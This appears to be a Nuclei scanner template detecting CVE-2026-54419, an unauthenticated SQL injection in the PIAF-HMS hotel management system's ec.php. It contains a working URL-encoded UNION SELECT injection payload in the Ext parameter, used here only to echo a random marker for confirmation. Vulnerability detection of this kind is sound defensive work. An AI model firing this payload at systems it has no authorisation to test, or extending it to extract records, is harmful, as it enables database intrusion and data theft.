CVE-2026-54419: PIAF-HMS ec.php - SQL Injection

id: CVE-2026-54419

info:
  name: PIAF-HMS ec.php - SQL Injection
  author: alex700
  severity: critical
  description: |
    claudiopizzillo PIAF-HMS (PBX-In-A-Flash Hotel Management System; no released versions, latest commit 389d2633441b65ced1c104212cd62be2bfca21e5) contains multiple unauthenticated SQL injection vulnerabilities. The application has no authentication mechanism and passes user-supplied HTTP parameters directly into deprecated mysql_query calls via string concatenation, without sanitization, escaping, or parameterization.
  impact: |
    Remote attackers can read, modify, or delete arbitrary database records, potentially compromising the entire database.
  remediation: |
    Update to a version that properly sanitizes inputs and uses parameterized queries or the latest available version.
  reference:
    - https://www.cve.org/CVERecord?id=CVE-2026-54419
    - https://nvd.nist.gov/vuln/detail/CVE-2026-54419
    - https://github.com/claudiopizzillo/PIAF-HMS/blob/389d2633441b65ced1c104212cd62be2bfca21e5/ec.php#L57
  classification:
    cve-id: CVE-2026-54419
    epss-score: 0.0148
    epss-percentile: 0.74091
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-89
  metadata:
    max-request: 1
  tags: cve,cve2026,piaf-hms,sqli

variables:
  marker: "{{randstr}}"

http:
  - method: GET
    path:
      - "{{BaseURL}}/ec.php?Checkin=2020-01-01&Checkout=2020-12-31&Ext=101-%25%27%20AND%201%3D0%20UNION%20SELECT%20MD5%28%27{{marker}}%27%29%2C%279123456%27%2C60%20--%20"

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(body, md5(marker))"
          - "contains_all(body, 'PIAF H.M.S.', 'Room bill')"
        condition: and
# digest: 490a00463044022078f0b9cf389f66262fb406627dade4c4cf94af0a61e3dbb1ef84b67ba411343002206e221e2bc3f24cc1805b840d3ce509e5e0726c069f69914900387018128f1925:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.